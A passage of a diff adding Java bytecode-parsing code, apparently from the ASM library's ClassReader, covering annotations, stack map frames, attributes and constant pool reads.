TypeReference.RESOURCE_VARIABLE: + targetType &= 0xFF000000; + int tableLength = readUnsignedShort(currentOffset + 1); + currentOffset += 3; + context.currentLocalVariableAnnotationRangeStarts = new Label[tableLength]; + context.currentLocalVariableAnnotationRangeEnds = new Label[tableLength]; + context.currentLocalVariableAnnotationRangeIndices = new int[tableLength]; + for (int i = 0; i < tableLength; ++i) { + int startPc = readUnsignedShort(currentOffset); + int length = readUnsignedShort(currentOffset + 2); + int index = readUnsignedShort(currentOffset + 4); + currentOffset += 6; + context.currentLocalVariableAnnotationRangeStarts[i] = + createLabel(startPc, context.currentMethodLabels); + context.currentLocalVariableAnnotationRangeEnds[i] = + createLabel(startPc + length, context.currentMethodLabels); + context.currentLocalVariableAnnotationRangeIndices[i] = index; + } + break; + case TypeReference.CAST: + case TypeReference.CONSTRUCTOR_INVOCATION_TYPE_ARGUMENT: + case TypeReference.METHOD_INVOCATION_TYPE_ARGUMENT: + case TypeReference.CONSTRUCTOR_REFERENCE_TYPE_ARGUMENT: + case TypeReference.METHOD_REFERENCE_TYPE_ARGUMENT: + targetType &= 0xFF0000FF; + currentOffset += 4; + break; + case TypeReference.CLASS_EXTENDS: + case TypeReference.CLASS_TYPE_PARAMETER_BOUND: + case TypeReference.METHOD_TYPE_PARAMETER_BOUND: + case TypeReference.THROWS: + case TypeReference.EXCEPTION_PARAMETER: + targetType &= 0xFFFFFF00; + currentOffset += 3; + break; + case TypeReference.INSTANCEOF: + case TypeReference.NEW: + case TypeReference.CONSTRUCTOR_REFERENCE: + case TypeReference.METHOD_REFERENCE: + targetType &= 0xFF000000; + currentOffset += 3; + break; + default: + throw new IllegalArgumentException(); + } + context.currentTypeAnnotationTarget = targetType; + // Parse and store the target_path structure. + int pathLength = readByte(currentOffset); + context.currentTypeAnnotationTargetPath = + pathLength == 0 ? null : new TypePath(b, currentOffset); + // Return the start offset of the rest of the type_annotation structure. + return currentOffset + 1 + 2 * pathLength; + } + + /** + * Reads a Runtime[In]VisibleParameterAnnotations attribute and makes the given visitor visit it. + * + * @param methodVisitor the visitor that must visit the parameter annotations. + * @param context information about the class being parsed. + * @param runtimeParameterAnnotationsOffset the start offset of a + * Runtime[In]VisibleParameterAnnotations attribute, excluding the attribute_info's + * attribute_name_index and attribute_length fields. + * @param visible true if the attribute to parse is a RuntimeVisibleParameterAnnotations + * attribute, false it is a RuntimeInvisibleParameterAnnotations attribute. + */ + private void readParameterAnnotations( + final MethodVisitor methodVisitor, + final Context context, + final int runtimeParameterAnnotationsOffset, + final boolean visible) { + int currentOffset = runtimeParameterAnnotationsOffset; + int numParameters = b[currentOffset++] & 0xFF; + methodVisitor.visitAnnotableParameterCount(numParameters, visible); + char[] charBuffer = context.charBuffer; + for (int i = 0; i < numParameters; ++i) { + int numAnnotations = readUnsignedShort(currentOffset); + currentOffset += 2; + while (numAnnotations-- > 0) { + // Parse the type_index field. + String annotationDescriptor = readUTF8(currentOffset, charBuffer); + currentOffset += 2; + // Parse num_element_value_pairs and element_value_pairs and visit these values. + currentOffset = + readElementValues( + methodVisitor.visitParameterAnnotation(i, annotationDescriptor, visible), + currentOffset, + /* named = */ true, + charBuffer); + } + } + } + + /** + * Reads the element values of a JVMS 'annotation' structure and makes the given visitor visit + * them. This method can also be used to read the values of the JVMS 'array_value' field of an + * annotation's 'element_value'. + * + * @param annotationVisitor the visitor that must visit the values. + * @param annotationOffset the start offset of an 'annotation' structure (excluding its type_index + * field) or of an 'array_value' structure. + * @param named if the annotation values are named or not. This should be true to parse the values + * of a JVMS 'annotation' structure, and false to parse the JVMS 'array_value' of an + * annotation's element_value. + * @param charBuffer the buffer used to read strings in the constant pool. + * @return the end offset of the JVMS 'annotation' or 'array_value' structure. + */ + private int readElementValues( + final AnnotationVisitor annotationVisitor, + final int annotationOffset, + final boolean named, + final char[] charBuffer) { + int currentOffset = annotationOffset; + // Read the num_element_value_pairs field (or num_values field for an array_value). + int numElementValuePairs = readUnsignedShort(currentOffset); + currentOffset += 2; + if (named) { + // Parse the element_value_pairs array. + while (numElementValuePairs-- > 0) { + String elementName = readUTF8(currentOffset, charBuffer); + currentOffset = + readElementValue(annotationVisitor, currentOffset + 2, elementName, charBuffer); + } + } else { + // Parse the array_value array. + while (numElementValuePairs-- > 0) { + currentOffset = + readElementValue(annotationVisitor, currentOffset, /* named = */ null, charBuffer); + } + } + if (annotationVisitor != null) { + annotationVisitor.visitEnd(); + } + return currentOffset; + } + + /** + * Reads a JVMS 'element_value' structure and makes the given visitor visit it. + * + * @param annotationVisitor the visitor that must visit the element_value structure. + * @param elementValueOffset the start offset in {@link #b} of the element_value structure to be + * read. + * @param elementName the name of the element_value structure to be read, or {@literal null}. + * @param charBuffer the buffer used to read strings in the constant pool. + * @return the end offset of the JVMS 'element_value' structure. + */ + private int readElementValue( + final AnnotationVisitor annotationVisitor, + final int elementValueOffset, + final String elementName, + final char[] charBuffer) { + int currentOffset = elementValueOffset; + if (annotationVisitor == null) { + switch (b[currentOffset] & 0xFF) { + case 'e': // enum_const_value + return currentOffset + 5; + case '@': // annotation_value + return readElementValues(null, currentOffset + 3, /* named = */ true, charBuffer); + case '[': // array_value + return readElementValues(null, currentOffset + 1, /* named = */ false, charBuffer); + default: + return currentOffset + 3; + } + } + switch (b[currentOffset++] & 0xFF) { + case 'B': // const_value_index, CONSTANT_Integer + annotationVisitor.visit( + elementName, (byte) readInt(cpInfoOffsets[readUnsignedShort(currentOffset)])); + currentOffset += 2; + break; + case 'C': // const_value_index, CONSTANT_Integer + annotationVisitor.visit( + elementName, (char) readInt(cpInfoOffsets[readUnsignedShort(currentOffset)])); + currentOffset += 2; + break; + case 'D': // const_value_index, CONSTANT_Double + case 'F': // const_value_index, CONSTANT_Float + case 'I': // const_value_index, CONSTANT_Integer + case 'J': // const_value_index, CONSTANT_Long + annotationVisitor.visit( + elementName, readConst(readUnsignedShort(currentOffset), charBuffer)); + currentOffset += 2; + break; + case 'S': // const_value_index, CONSTANT_Integer + annotationVisitor.visit( + elementName, (short) readInt(cpInfoOffsets[readUnsignedShort(currentOffset)])); + currentOffset += 2; + break; + + case 'Z': // const_value_index, CONSTANT_Integer + annotationVisitor.visit( + elementName, + readInt(cpInfoOffsets[readUnsignedShort(currentOffset)]) == 0 + ? Boolean.FALSE + : Boolean.TRUE); + currentOffset += 2; + break; + case 's': // const_value_index, CONSTANT_Utf8 + annotationVisitor.visit(elementName, readUTF8(currentOffset, charBuffer)); + currentOffset += 2; + break; + case 'e': // enum_const_value + annotationVisitor.visitEnum( + elementName, + readUTF8(currentOffset, charBuffer), + readUTF8(currentOffset + 2, charBuffer)); + currentOffset += 4; + break; + case 'c': // class_info + annotationVisitor.visit(elementName, Type.getType(readUTF8(currentOffset, charBuffer))); + currentOffset += 2; + break; + case '@': // annotation_value + currentOffset = + readElementValues( + annotationVisitor.visitAnnotation(elementName, readUTF8(currentOffset, charBuffer)), + currentOffset + 2, + true, + charBuffer); + break; + case '[': // array_value + int numValues = readUnsignedShort(currentOffset); + currentOffset += 2; + if (numValues == 0) { + return readElementValues( + annotationVisitor.visitArray(elementName), + currentOffset - 2, + /* named = */ false, + charBuffer); + } + switch (b[currentOffset] & 0xFF) { + case 'B': + byte[] byteValues = new byte[numValues]; + for (int i = 0; i < numValues; i++) { + byteValues[i] = (byte) readInt(cpInfoOffsets[readUnsignedShort(currentOffset + 1)]); + currentOffset += 3; + } + annotationVisitor.visit(elementName, byteValues); + break; + case 'Z': + boolean[] booleanValues = new boolean[numValues]; + for (int i = 0; i < numValues; i++) { + booleanValues[i] = readInt(cpInfoOffsets[readUnsignedShort(currentOffset + 1)]) != 0; + currentOffset += 3; + } + annotationVisitor.visit(elementName, booleanValues); + break; + case 'S': + short[] shortValues = new short[numValues]; + for (int i = 0; i < numValues; i++) { + shortValues[i] = (short) readInt(cpInfoOffsets[readUnsignedShort(currentOffset + 1)]); + currentOffset += 3; + } + annotationVisitor.visit(elementName, shortValues); + break; + case 'C': + char[] charValues = new char[numValues]; + for (int i = 0; i < numValues; i++) { + charValues[i] = (char) readInt(cpInfoOffsets[readUnsignedShort(currentOffset + 1)]); + currentOffset += 3; + } + annotationVisitor.visit(elementName, charValues); + break; + case 'I': + int[] intValues = new int[numValues]; + for (int i = 0; i < numValues; i++) { + intValues[i] = readInt(cpInfoOffsets[readUnsignedShort(currentOffset + 1)]); + currentOffset += 3; + } + annotationVisitor.visit(elementName, intValues); + break; + case 'J': + long[] longValues = new long[numValues]; + for (int i = 0; i < numValues; i++) { + longValues[i] = readLong(cpInfoOffsets[readUnsignedShort(currentOffset + 1)]); + currentOffset += 3; + } + annotationVisitor.visit(elementName, longValues); + break; + case 'F': + float[] floatValues = new float[numValues]; + for (int i = 0; i < numValues; i++) { + floatValues[i] = + Float.intBitsToFloat( + readInt(cpInfoOffsets[readUnsignedShort(currentOffset + 1)])); + currentOffset += 3; + } + annotationVisitor.visit(elementName, floatValues); + break; + case 'D': + double[] doubleValues = new double[numValues]; + for (int i = 0; i < numValues; i++) { + doubleValues[i] = + Double.longBitsToDouble( + readLong(cpInfoOffsets[readUnsignedShort(currentOffset + 1)])); + currentOffset += 3; + } + annotationVisitor.visit(elementName, doubleValues); + break; + default: + currentOffset = + readElementValues( + annotationVisitor.visitArray(elementName), + currentOffset - 2, + /* named = */ false, + charBuffer); + break; + } + break; + default: + throw new IllegalArgumentException(); + } + return currentOffset; + } + + // ---------------------------------------------------------------------------------------------- + // Methods to parse stack map frames + // ---------------------------------------------------------------------------------------------- + + /** + * Computes the implicit frame of the method currently being parsed (as defined in the given + * {@link Context}) and stores it in the given context. + * + * @param context information about the class being parsed. + */ + private void computeImplicitFrame(final Context context) { + String methodDescriptor = context.currentMethodDescriptor; + Object[] locals = context.currentFrameLocalTypes; + int numLocal = 0; + if ((context.currentMethodAccessFlags & Opcodes.ACC_STATIC) == 0) { + if ("".equals(context.currentMethodName)) { + locals[numLocal++] = Opcodes.UNINITIALIZED_THIS; + } else { + locals[numLocal++] = readClass(header + 2, context.charBuffer); + } + } + // Parse the method descriptor, one argument type descriptor at each iteration. Start by + // skipping the first method descriptor character, which is always '('. + int currentMethodDescritorOffset = 1; + while (true) { + int currentArgumentDescriptorStartOffset = currentMethodDescritorOffset; + switch (methodDescriptor.charAt(currentMethodDescritorOffset++)) { + case 'Z': + case 'C': + case 'B': + case 'S': + case 'I': + locals[numLocal++] = Opcodes.INTEGER; + break; + case 'F': + locals[numLocal++] = Opcodes.FLOAT; + break; + case 'J': + locals[numLocal++] = Opcodes.LONG; + break; + case 'D': + locals[numLocal++] = Opcodes.DOUBLE; + break; + case '[': + while (methodDescriptor.charAt(currentMethodDescritorOffset) == '[') { + ++currentMethodDescritorOffset; + } + if (methodDescriptor.charAt(currentMethodDescritorOffset) == 'L') { + ++currentMethodDescritorOffset; + while (methodDescriptor.charAt(currentMethodDescritorOffset) != ';') { + ++currentMethodDescritorOffset; + } + } + locals[numLocal++] = + methodDescriptor.substring( + currentArgumentDescriptorStartOffset, ++currentMethodDescritorOffset); + break; + case 'L': + while (methodDescriptor.charAt(currentMethodDescritorOffset) != ';') { + ++currentMethodDescritorOffset; + } + locals[numLocal++] = + methodDescriptor.substring( + currentArgumentDescriptorStartOffset + 1, currentMethodDescritorOffset++); + break; + default: + context.currentFrameLocalCount = numLocal; + return; + } + } + } + + /** + * Reads a JVMS 'stack_map_frame' structure and stores the result in the given {@link Context} + * object. This method can also be used to read a full_frame structure, excluding its frame_type + * field (this is used to parse the legacy StackMap attributes). + * + * @param stackMapFrameOffset the start offset in {@link #b} of the stack_map_frame_value + * structure to be read, or the start offset of a full_frame structure (excluding its + * frame_type field). + * @param compressed true to read a 'stack_map_frame' structure, false to read a 'full_frame' + * structure without its frame_type field. + * @param expand if the stack map frame must be expanded. See {@link #EXPAND_FRAMES}. + * @param context where the parsed stack map frame must be stored. + * @return the end offset of the JVMS 'stack_map_frame' or 'full_frame' structure. + */ + private int readStackMapFrame( + final int stackMapFrameOffset, + final boolean compressed, + final boolean expand, + final Context context) { + int currentOffset = stackMapFrameOffset; + final char[] charBuffer = context.charBuffer; + final Label[] labels = context.currentMethodLabels; + int frameType; + if (compressed) { + // Read the frame_type field. + frameType = b[currentOffset++] & 0xFF; + } else { + frameType = Frame.FULL_FRAME; + context.currentFrameOffset = -1; + } + int offsetDelta; + context.currentFrameLocalCountDelta = 0; + if (frameType < Frame.SAME_LOCALS_1_STACK_ITEM_FRAME) { + offsetDelta = frameType; + context.currentFrameType = Opcodes.F_SAME; + context.currentFrameStackCount = 0; + } else if (frameType < Frame.RESERVED) { + offsetDelta = frameType - Frame.SAME_LOCALS_1_STACK_ITEM_FRAME; + currentOffset = + readVerificationTypeInfo( + currentOffset, context.currentFrameStackTypes, 0, charBuffer, labels); + context.currentFrameType = Opcodes.F_SAME1; + context.currentFrameStackCount = 1; + } else if (frameType >= Frame.SAME_LOCALS_1_STACK_ITEM_FRAME_EXTENDED) { + offsetDelta = readUnsignedShort(currentOffset); + currentOffset += 2; + if (frameType == Frame.SAME_LOCALS_1_STACK_ITEM_FRAME_EXTENDED) { + currentOffset = + readVerificationTypeInfo( + currentOffset, context.currentFrameStackTypes, 0, charBuffer, labels); + context.currentFrameType = Opcodes.F_SAME1; + context.currentFrameStackCount = 1; + } else if (frameType >= Frame.CHOP_FRAME && frameType < Frame.SAME_FRAME_EXTENDED) { + context.currentFrameType = Opcodes.F_CHOP; + context.currentFrameLocalCountDelta = Frame.SAME_FRAME_EXTENDED - frameType; + context.currentFrameLocalCount -= context.currentFrameLocalCountDelta; + context.currentFrameStackCount = 0; + } else if (frameType == Frame.SAME_FRAME_EXTENDED) { + context.currentFrameType = Opcodes.F_SAME; + context.currentFrameStackCount = 0; + } else if (frameType < Frame.FULL_FRAME) { + int local = expand ? context.currentFrameLocalCount : 0; + for (int k = frameType - Frame.SAME_FRAME_EXTENDED; k > 0; k--) { + currentOffset = + readVerificationTypeInfo( + currentOffset, context.currentFrameLocalTypes, local++, charBuffer, labels); + } + context.currentFrameType = Opcodes.F_APPEND; + context.currentFrameLocalCountDelta = frameType - Frame.SAME_FRAME_EXTENDED; + context.currentFrameLocalCount += context.currentFrameLocalCountDelta; + context.currentFrameStackCount = 0; + } else { + final int numberOfLocals = readUnsignedShort(currentOffset); + currentOffset += 2; + context.currentFrameType = Opcodes.F_FULL; + context.currentFrameLocalCountDelta = numberOfLocals; + context.currentFrameLocalCount = numberOfLocals; + for (int local = 0; local < numberOfLocals; ++local) { + currentOffset = + readVerificationTypeInfo( + currentOffset, context.currentFrameLocalTypes, local, charBuffer, labels); + } + final int numberOfStackItems = readUnsignedShort(currentOffset); + currentOffset += 2; + context.currentFrameStackCount = numberOfStackItems; + for (int stack = 0; stack < numberOfStackItems; ++stack) { + currentOffset = + readVerificationTypeInfo( + currentOffset, context.currentFrameStackTypes, stack, charBuffer, labels); + } + } + } else { + throw new IllegalArgumentException(); + } + context.currentFrameOffset += offsetDelta + 1; + createLabel(context.currentFrameOffset, labels); + return currentOffset; + } + + /** + * Reads a JVMS 'verification_type_info' structure and stores it at the given index in the given + * array. + * + * @param verificationTypeInfoOffset the start offset of the 'verification_type_info' structure to + * read. + * @param frame the array where the parsed type must be stored. + * @param index the index in 'frame' where the parsed type must be stored. + * @param charBuffer the buffer used to read strings in the constant pool. + * @param labels the labels of the method currently being parsed, indexed by their offset. If the + * parsed type is an ITEM_Uninitialized, a new label for the corresponding NEW instruction is + * stored in this array if it does not already exist. + * @return the end offset of the JVMS 'verification_type_info' structure. + */ + private int readVerificationTypeInfo( + final int verificationTypeInfoOffset, + final Object[] frame, + final int index, + final char[] charBuffer, + final Label[] labels) { + int currentOffset = verificationTypeInfoOffset; + int tag = b[currentOffset++] & 0xFF; + switch (tag) { + case Frame.ITEM_TOP: + frame[index] = Opcodes.TOP; + break; + case Frame.ITEM_INTEGER: + frame[index] = Opcodes.INTEGER; + break; + case Frame.ITEM_FLOAT: + frame[index] = Opcodes.FLOAT; + break; + case Frame.ITEM_DOUBLE: + frame[index] = Opcodes.DOUBLE; + break; + case Frame.ITEM_LONG: + frame[index] = Opcodes.LONG; + break; + case Frame.ITEM_NULL: + frame[index] = Opcodes.NULL; + break; + case Frame.ITEM_UNINITIALIZED_THIS: + frame[index] = Opcodes.UNINITIALIZED_THIS; + break; + case Frame.ITEM_OBJECT: + frame[index] = readClass(currentOffset, charBuffer); + currentOffset += 2; + break; + case Frame.ITEM_UNINITIALIZED: + frame[index] = createLabel(readUnsignedShort(currentOffset), labels); + currentOffset += 2; + break; + default: + throw new IllegalArgumentException(); + } + return currentOffset; + } + + // ---------------------------------------------------------------------------------------------- + // Methods to parse attributes + // ---------------------------------------------------------------------------------------------- + + /** + * Returns the offset in {@link #b} of the first ClassFile's 'attributes' array field entry. + * + * @return the offset in {@link #b} of the first ClassFile's 'attributes' array field entry. + */ + final int getFirstAttributeOffset() { + // Skip the access_flags, this_class, super_class, and interfaces_count fields (using 2 bytes + // each), as well as the interfaces array field (2 bytes per interface). + int currentOffset = header + 8 + readUnsignedShort(header + 6) * 2; + + // Read the fields_count field. + int fieldsCount = readUnsignedShort(currentOffset); + currentOffset += 2; + // Skip the 'fields' array field. + while (fieldsCount-- > 0) { + // Invariant: currentOffset is the offset of a field_info structure. + // Skip the access_flags, name_index and descriptor_index fields (2 bytes each), and read the + // attributes_count field. + int attributesCount = readUnsignedShort(currentOffset + 6); + currentOffset += 8; + // Skip the 'attributes' array field. + while (attributesCount-- > 0) { + // Invariant: currentOffset is the offset of an attribute_info structure. + // Read the attribute_length field (2 bytes after the start of the attribute_info) and skip + // this many bytes, plus 6 for the attribute_name_index and attribute_length fields + // (yielding the total size of the attribute_info structure). + currentOffset += 6 + readInt(currentOffset + 2); + } + } + + // Skip the methods_count and 'methods' fields, using the same method as above. + int methodsCount = readUnsignedShort(currentOffset); + currentOffset += 2; + while (methodsCount-- > 0) { + int attributesCount = readUnsignedShort(currentOffset + 6); + currentOffset += 8; + while (attributesCount-- > 0) { + currentOffset += 6 + readInt(currentOffset + 2); + } + } + + // Skip the ClassFile's attributes_count field. + return currentOffset + 2; + } + + /** + * Reads the BootstrapMethods attribute to compute the offset of each bootstrap method. + * + * @param maxStringLength a conservative estimate of the maximum length of the strings contained + * in the constant pool of the class. + * @return the offsets of the bootstrap methods or null. + */ + private int[] readBootstrapMethodsAttribute(final int maxStringLength) { + char[] charBuffer = new char[maxStringLength]; + int currentAttributeOffset = getFirstAttributeOffset(); + int[] currentBootstrapMethodOffsets = null; + for (int i = readUnsignedShort(currentAttributeOffset - 2); i > 0; --i) { + // Read the attribute_info's attribute_name and attribute_length fields. + String attributeName = readUTF8(currentAttributeOffset, charBuffer); + int attributeLength = readInt(currentAttributeOffset + 2); + currentAttributeOffset += 6; + if (Constants.BOOTSTRAP_METHODS.equals(attributeName)) { + // Read the num_bootstrap_methods field and create an array of this size. + currentBootstrapMethodOffsets = new int[readUnsignedShort(currentAttributeOffset)]; + // Compute and store the offset of each 'bootstrap_methods' array field entry. + int currentBootstrapMethodOffset = currentAttributeOffset + 2; + for (int j = 0; j < currentBootstrapMethodOffsets.length; ++j) { + currentBootstrapMethodOffsets[j] = currentBootstrapMethodOffset; + // Skip the bootstrap_method_ref and num_bootstrap_arguments fields (2 bytes each), + // as well as the bootstrap_arguments array field (of size num_bootstrap_arguments * 2). + currentBootstrapMethodOffset += + 4 + readUnsignedShort(currentBootstrapMethodOffset + 2) * 2; + } + return currentBootstrapMethodOffsets; + } + currentAttributeOffset += attributeLength; + } + return null; + } + + /** + * Reads a non standard JVMS 'attribute' structure in {@link #b}. + * + * @param attributePrototypes prototypes of the attributes that must be parsed during the visit of + * the class. Any attribute whose type is not equal to the type of one the prototypes will not + * be parsed: its byte array value will be passed unchanged to the ClassWriter. + * @param type the type of the attribute. + * @param offset the start offset of the JVMS 'attribute' structure in {@link #b}. The 6 attribute + * header bytes (attribute_name_index and attribute_length) are not taken into account here. + * @param length the length of the attribute's content (excluding the 6 attribute header bytes). + * @param charBuffer the buffer to be used to read strings in the constant pool. + * @param codeAttributeOffset the start offset of the enclosing Code attribute in {@link #b}, or + * -1 if the attribute to be read is not a code attribute. The 6 attribute header bytes + * (attribute_name_index and attribute_length) are not taken into account here. + * @param labels the labels of the method's code, or {@literal null} if the attribute to be read + * is not a code attribute. + * @return the attribute that has been read. + */ + private Attribute readAttribute( + final Attribute[] attributePrototypes, + final String type, + final int offset, + final int length, + final char[] charBuffer, + final int codeAttributeOffset, + final Label[] labels) { + for (Attribute attributePrototype : attributePrototypes) { + if (attributePrototype.type.equals(type)) { + return attributePrototype.read( + this, offset, length, charBuffer, codeAttributeOffset, labels); + } + } + return new Attribute(type).read(this, offset, length, null, -1, null); + } + + // ----------------------------------------------------------------------------------------------- + // Utility methods: low level parsing + // ----------------------------------------------------------------------------------------------- + + /** + * Returns the number of entries in the class's constant pool table. + * + * @return the number of entries in the class's constant pool table. + */ + public int getItemCount() { + return cpInfoOffsets.length; + } + + /** + * Returns the start offset in {@link #b} of a JVMS 'cp_info' structure (i.e. a constant pool + * entry), plus one. This method is intended for {@link Attribute} sub classes, and is normally + * not needed by class generators or adapters. + * + * @param constantPoolEntryIndex the index a constant pool entry in the class's constant pool + * table. + * @return the start offset in {@link #b} of the corresponding JVMS 'cp_info' structure, plus one. + */ + public int getItem(final int constantPoolEntryIndex) { + return cpInfoOffsets[constantPoolEntryIndex]; + } + + /** + * Returns a conservative estimate of the maximum length of the strings contained in the class's + * constant pool table. + * + * @return a conservative estimate of the maximum length of the strings contained in the class's + * constant pool table. + */ + public int getMaxStringLength() { + return maxStringLength; + } + + /** + * Reads a byte value in {@link #b}. This method is intended for {@link Attribute} sub classes, + * and is normally not needed by class generators or adapters. + * + * @param offset the start offset of the value to be read in {@link #b}. + * @return the read value. + */ + public int readByte(final int offset) { + return b[offset] & 0xFF; + } + + /** + * Reads an unsigned short value in {@link #b}. This method is intended for {@link Attribute} + * sub classes, and is normally not needed by class generators or adapters. + * + * @param offset the start index of the value to be read in {@link #b}. + * @return the read value. + */ + public int readUnsignedShort(final int offset) { + byte[] classFileBuffer = b; + return ((classFileBuffer[offset] & 0xFF) << 8) | (classFileBuffer[offset + 1] & 0xFF); + } + + /** + * Reads a signed short value in {@link #b}. This method is intended for {@link Attribute} sub + * classes, and is normally not needed by class generators or adapters. + * + * @param offset the start offset of the value to be read in {@link #b}. + * @return the read value. + */ + public short readShort(final int offset) { + byte[] classFileBuffer = b; + return (short) (((classFileBuffer[offset] & 0xFF) << 8) | (classFileBuffer[offset + 1] & 0xFF)); + } + + /** + * Reads a signed int value in {@link #b}. This method is intended for {@link Attribute} sub + * classes, and is normally not needed by class generators or adapters. + * + * @param offset the start offset of the value to be read in {@link #b}. + * @return the read value. + */ + public int readInt(final int offset) { + byte[] classFileBuffer = b; + return ((classFileBuffer[offset] & 0xFF) << 24) + | ((classFileBuffer[offset + 1] & 0xFF) << 16) + | ((classFileBuffer[offset + 2] & 0xFF) << 8) + | (classFileBuffer[offset + 3] & 0xFF); + } + + /** + * Reads a signed long value in {@link #b}. This method is intended for {@link Attribute} sub + * classes, and is normally not needed by class generators or adapters. + * + * @param offset the start offset of the value to be read in {@link #b}. + * @return the read value. + */ + public long readLong(final int offset) { + long l1 = readInt(offset); + long l0 = readInt(offset + 4) & 0xFFFFFFFFL; + return (l1 << 32) | l0; + } + + /** + * Reads a CONSTANT_Utf8 constant pool entry in {@link #b}. This method is intended for {@link + * Attribute} sub classes, and is normally not needed by class generators or adapters. + * + * @param offset the start offset of an unsigned short value in {@link #b}, whose value is the + * index of a CONSTANT_Utf8 entry in the class's constant pool table. + * @param charBuffer the buffer to be used to read the string. This buffer must be sufficiently + * large. It is not automatically resized. + * @return the String corresponding to the specified CONSTANT_Utf8 entry. + */ + // DontCheck(AbbreviationAsWordInName): can't be renamed (for backward binary compatibility). + public String readUTF8(final int offset, final char[] charBuffer) { + int constantPoolEntryIndex = readUnsignedShort(offset); + if (offset == 0 || constantPoolEntryIndex == 0) { + return null; + } + return readUtf(constantPoolEntryIndex, charBuffer); + } + + /** + * Reads a CONSTANT_Utf8 constant pool entry in {@link #b}. + * + * @param constantPoolEntryIndex the index of a CONSTANT_Utf8 entry in the class's constant pool + * table. + * @param charBuffer the buffer to be used to read the string. This buffer must be sufficiently + * large. It is not automatically resized. + * @return the String corresponding to the specified CONSTANT_Utf8 entry. + */ + final String readUtf(final int constantPoolEntryIndex, final char[] charBuffer) { + String value = constantUtf8Values[constantPoolEntryIndex]; + if (value != null) { + return value; + } + int cpInfoOffset = cpInfoOffsets[constantPoolEntryIndex]; + return constantUtf8Values[constantPoolEntryIndex] = + readUtf(cpInfoOffset + 2, readUnsignedShort(cpInfoOffset), charBuffer); + } + + /** + * Reads an UTF8 string in {@link #b}. + * + * @param utfOffset the start offset of the UTF8 string to be read. + * @param utfLength the length of the UTF8 string to be read. + * @param charBuffer the buffer to be used to read the string. This buffer must be sufficiently + * large. It is not automatically resized. + * @return the String corresponding to the specified UTF8 string. + */ + private String readUtf(final int utfOffset, final int utfLength, final char[] charBuffer) { + int currentOffset = utfOffset; + int endOffset = currentOffset + utfLength; + int strLength = 0; + byte[] classFileBuffer = b; + while (currentOffset < endOffset) { + int currentByte = classFileBuffer[currentOffset++]; + if ((currentByte & 0x80) == 0) { + charBuffer[strLength++] = (char) (currentByte & 0x7F); + } else if ((currentByte & 0xE0) == 0xC0) { + charBuffer[strLength++] = + (char) (((currentByte & 0x1F) << 6) + (classFileBuffer[currentOffset++] & 0x3F)); + } else { + charBuffer[strLength++] = + (char) + (((currentByte & 0xF) << 12) + + ((classFileBuffer[currentOffset++] & 0x3F) << 6) + + (classFileBuffer[currentOffset++] & 0x3F)); + } + } + return new String(charBuffer, 0, strLength); + } + + /** + * Reads a CONSTANT_Class, CONSTANT_String, CONSTANT_MethodType, CONSTANT_Module or + * CONSTANT_Package constant pool entry in {@link #b}. This method is intended for {@link + * Attribute} sub classes, and is normally not needed by class generators or adapters. + * + * @param offset the start offset of an unsigned short value in {@link #b}, whose value is the + * index of a CONSTANT_Class, CONSTANT_String, CONSTANT_MethodType, CONSTANT_Module or + * CONSTANT_Package entry in class's constant pool table. + * @param charBuffer the buffer to be used to read the item. This buffer must be sufficiently + * large. It is not automatically resized. + * @return the String corresponding to the specified constant pool entry. + */ + private String readStringish(final int offset, final char[] charBuffer) { + // Get the start offset of the cp_info structure (plus one), and read the CONSTANT_Utf8 entry + // designated by the first two bytes of this cp_info. + return readUTF8(cpInfoOffsets[readUnsignedShort(offset)], charBuffer); + } + + /** + * Reads a CONSTANT_Class constant pool entry in {@link #b}. This method is intended for {@link + * Attribute} sub classes, and is normally not needed by class generators or adapters. + * + * @param offset the start offset of an unsigned short value in {@link #b}, whose value is the + * index of a CONSTANT_Class entry in class's constant pool table. + * @param charBuffer the buffer to be used to read the item. This buffer must be sufficiently + * large. It is not automatically resized. + * @return the String corresponding to the specified CONSTANT_Class entry. + */ + public String readClass(final int offset, final char[] charBuffer) { + return readStringish(offset, charBuffer); + } + + /** + * Reads a CONSTANT_Module constant pool entry in {@link #b}. This method is intended for + * {@link Attribute} sub classes, and is normally not needed by class generators or adapters. + * + * @param offset the start offset of an unsigned short value in {@link #b}, whose value is the + * index of a CONSTANT_Module entry in class's constant pool table. + * @param charBuffer the buffer to be used to read the item. This buffer must be sufficiently + * large. It is not automatically resized. + * @return the String corresponding to the specified CONSTANT_Module entry. + */ + public String readModule(final int offset, final char[] charBuffer) { + return readStringish(offset, charBuffer); + } + + /** + * Reads a CONSTANT_Package constant pool entry in {@link #b}. This method is intended for + * {@link Attribute} sub classes, and is normally not needed by class generators or adapters. + * + * @param offset the start offset of an unsigned short value in {@link #b}, whose value is the + * index of a CONSTANT_Package entry in class's constant pool table. + * @param charBuffer the buffer to be used to read the item. This buffer must be sufficiently + * large. It is not automatically resized. + * @return the String corresponding to the specified CONSTANT_Package entry. + */ + public String readPackage(final int offset, final char[] charBuffer) { + return readStringish(offset, charBuffer); + } + + /** + * Reads a CONSTANT_Dynamic constant pool entry in {@link #b}. + * + * @param constantPoolEntryIndex the index of a CONSTANT_Dynamic entry in the class's constant + * pool table. + * @param charBuffer the buffer to be used to read the string. This buffer must be sufficiently + * large. It is not automatically resized. + * @return the ConstantDynamic corresponding to the specified CONSTANT_Dynamic entry. + */ + private ConstantDynamic readConstantDynamic( + final int constantPoolEntryIndex, final char[] charBuffer) { + ConstantDynamic constantDynamic = constantDynamicValues[constantPoolEntryIndex]; + if (constantDynamic != null) { + return constantDynamic; + } + int cpInfoOffset = cpInfoOffsets[constantPoolEntryIndex]; + int nameAndTypeCpInfoOffset = cpInfoOffsets[readUnsignedShort(cpInfoOffset + 2)]; + String name = readUTF8(nameAndTypeCpInfoOffset, charBuffer); + String descriptor = readUTF8(nameAndTypeCpInfoOffset + 2, charBuffer); + int bootstrapMethodOffset = bootstrapMethodOffsets[readUnsignedShort(cpInfoOffset)]; + Handle handle = (Handle) readConst(readUnsignedShort(bootstrapMethodOffset), charBuffer); + Object[] bootstrapMethodArguments = new Object[readUnsignedShort(bootstrapMethodOffset + 2)]; + bootstrapMethodOffset += 4; + for (int i = 0; i < bootstrapMethodArguments.length; i++) { + bootstrapMethodArguments[i] = readConst(readUnsignedShort(bootstrapMethodOffset), charBuffer); + bootstrapMethodOffset += 2; + } + return constantDynamicValues[constantPoolEntryIndex] = + new ConstantDynamic(name, descriptor, handle, bootstrapMethodArguments); + } + + /** + * Reads a numeric or string constant pool entry in {@link #b}. This method is intended for + * {@link Attribute} sub classes, and is normally not needed by class generators or adapters. + * + * @param constantPoolEntryIndex the index of a CONSTANT_Integer, 